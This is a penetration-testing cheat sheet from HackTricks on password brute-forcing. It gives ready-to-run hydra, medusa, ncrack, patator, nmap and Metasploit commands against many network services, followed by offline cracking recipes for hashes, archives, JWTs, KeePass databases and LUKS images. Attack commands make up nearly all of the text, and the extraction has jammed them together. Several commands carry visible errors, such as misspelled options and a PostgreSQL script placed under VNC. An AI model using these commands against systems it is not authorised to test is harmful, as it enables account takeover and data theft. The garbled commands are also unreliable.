Brute Force - CheatSheet

https://book.hacktricks.xyz/brute-force

Wait a second, have you tried to use default credentials??

Search in google for default credentials of the technology that is being used, or try this links:

• http://www.phenoelit.org/dpl/dpl.html

• https://192-168-1-1ip.mobi/default-router-passwords-list/

• https://datarecovery.com/rd/default-passwords/

• https://bizuns.com/default-passwords-list

• https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv

• https://www.cirt.net/passwords

• http://www.passwordsdatabase.com/

Service

Ordered alphabetically by service name.

AFP

nmap -p 548 --script afp-brute <IP>msf> use auxiliary/scanner/afp/afp_loginmsf> set BLANK_PASSWORDS truemsf> set USER_AS_PASS truemsf> set PASS_FILE <PATH_PASSWDS>msf> set USER_FILE <PATH_USERS>msf> run

AJP

nmap --script ajp-brute -p 8009 <IP>

Cassandra

nmap --script cassandra-brute -p 9160 <IP>

CouchDB

msf> use auxiliary/scanner/couchdb/couchdb_login

FTP

hydra -l root -P passwords.txt [-t 32] <IP> ftpncrack -p 21 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp

HTTP Generic Brute

HTTP Basic Auth

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10

HTTP - Post Form

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V

For https you have to change from "http-post-form" to "https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com

IMAP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -Vnmap -sV --script imap-brute -p <PORT> <IP>

IRC

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

LDAP

nmap --script ldap-brute -p 389 <IP>

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>use auxiliary/scanner/mongodb/mongodb_login

MySQL

hydra -L usernames.txt -P pass.txt <IP> mysqlmsf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017​./odat.py passwordguesser -s $SERVER -d $SID./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt​#msf1msf> use admin/oracle/oracle_loginmsf> set RHOSTS <IP>msf> set RPORT 1521msf> set SID <SID>​#msf2, this option uses nmap and it fails sometimes for some reasonmsf> use scanner/oracle/oracle_loginmsf> set RHOSTS <IP>msf> set RPORTS 1521msf> set SID <SID>​#nmap fails sometimes for some reson executing this scriptnmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

In order to use oracle_login with patator you need to install:

pip3 install cx_Oracle --upgrade

​Offline OracleSQL hash bruteforce (versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, and 11.2.0.3):

 nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

POP

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -Vhydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

PostgreSQL

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgresmedusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgresncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txtuse auxiliary/scanner/postgres/postgres_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

PPTP

cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

ncrack -vv --user <User> -P pwds.txt rdp://<IP>hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>

Redis

msf> use auxiliary/scanner/redis/redis_loginnmap --script redis-brute -p 6379 <IP>hydra –P /path/pass.txt <IP> redis

Rexec

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

hydra -L <Username_list> rsh://<Victim_IP> -v -V

​http://pentestmonkey.net/tools/misc/rsh-grind​

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SNMP

msf> use auxiliary/scanner/snmp/snmp_loginnmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp_onesixtyone.txt <IP>hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

nmap --script smb-brute -p 445 <IP>hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1

SMTP

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -Vhydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL

SQL Server

#Use the NetBIOS name of the machine as domainhydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssqlmedusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssqlnmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be carefull with the number of password in the list, this could block accountsmsf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

hydra -l root -P passwords.txt [-t 32] <IP> sshncrack -p 22 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh

Telnet

hydra -l root -P passwords.txt [-t 32] <IP> telnetncrack -p 23 --user root -P passwords.txt <IP> [-T 5]medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

VNC

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vncmedusa -h <IP> –u root -P /root/Desktop/pass.txt –M vncncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>Tpatator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0use auxiliary/scanner/vnc/vnc_loginnmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>

Local

Online cracking databases

• ​https://www.onlinehashcrack.com/ (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
• ​https://gpuhash.me/ (Hashes and file hashes)
• ​https://hashkiller.co.uk/Cracker (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)

Check this out before trying to bruteforce a Hash.

Generic

Hash-identifier

John

john --rule --wordlist=/usr/share/wordlists/rockyou.txt file_with_hash.txt

unshadow

unshadow passwd.txt shadow.txt > tojohn.txt

ZIP

fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.johnjohn zip.john

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2johnwget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.plapt-get install libcompress-raw-lzma-perl./7z2john.pl file.7z > 7zhash.john

PDF

apt-get install pdfcrackpdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt#pdf2john didnt worked well, john didnt know which hash type was# To permanently decrypt the pdfsudo apt-get install qpdfqpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

JWT

git clone https://github.com/Sjord/jwtcrack.gitcd jwtcrack​#Bruteforce using crackjwt.pypython crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt​#Bruteforce using johnpython jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.johnjohn jwt.john #It does not work with Kali-John

NTLM cracking

Format:USUARIO:ID:HASH_LM:HASH_NT:::jhon --wordlist=/usr/share/wordlists/rockyou.txt --fomrat=NT file_NTLM.hasheshashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2johnkeepass2john file.kdbx > hash #The keepass is only using passwordkeepass2john -k <file-password> file.kdbx > hash # The keepas is also using a file as a needed credential#The keepass can use password and/or a file as credentials, if it is using both you need to provide them to keepass2johnjohn --wordlist=/usr/share/wordlists/rockyou.txt hash

Lucks image

Method 1

Install: https://github.com/glv2/bruteforce-luks​

bruteforce-luks -f ./list.txt ./backup.imgcryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt

Method 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1hashcat -m 14600 luckshash cryptsetup luksOpen backup.img mylucksopenls /dev/mapper/ #You should find here the image mylucksopenmount /dev/mapper/mylucksopen /mnt

Mysql

#John hash format<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

Hash examples: https://openwall.info/wiki/john/sample-hashes​

Hash-identifier

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabetcrunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)​@ Lower case alpha characters, Upper case alpha characters% Numeric characters^ Special characters including spaccrunch 6 8 -t ,@@^^%%

Cewl

cewl --with-numbers -d 2 -m 5 -w words.txt http://$ip/

John mutation

Read /etc/john/john.conf and configure it

john --wordlist=words.txt --rules --stdout > w_mutated.txtjohn --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Cracking Linux Hashes - /etc/shadow file

 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Cracking Windows Hashes

3000 | LM                                               | Operating-Systems1000 | NTLM                                             | Operating-Systems

Cracking Common Application Hashes

  900 | MD4                                              | Raw Hash    0 | MD5                                              | Raw Hash 5100 | Half MD5                                         | Raw Hash  100 | SHA1                                             | Raw Hash10800 | SHA-384                                          | Raw Hash 1400 | SHA-256                                          | Raw Hash 1700 | SHA-512                                          | Raw Hash

​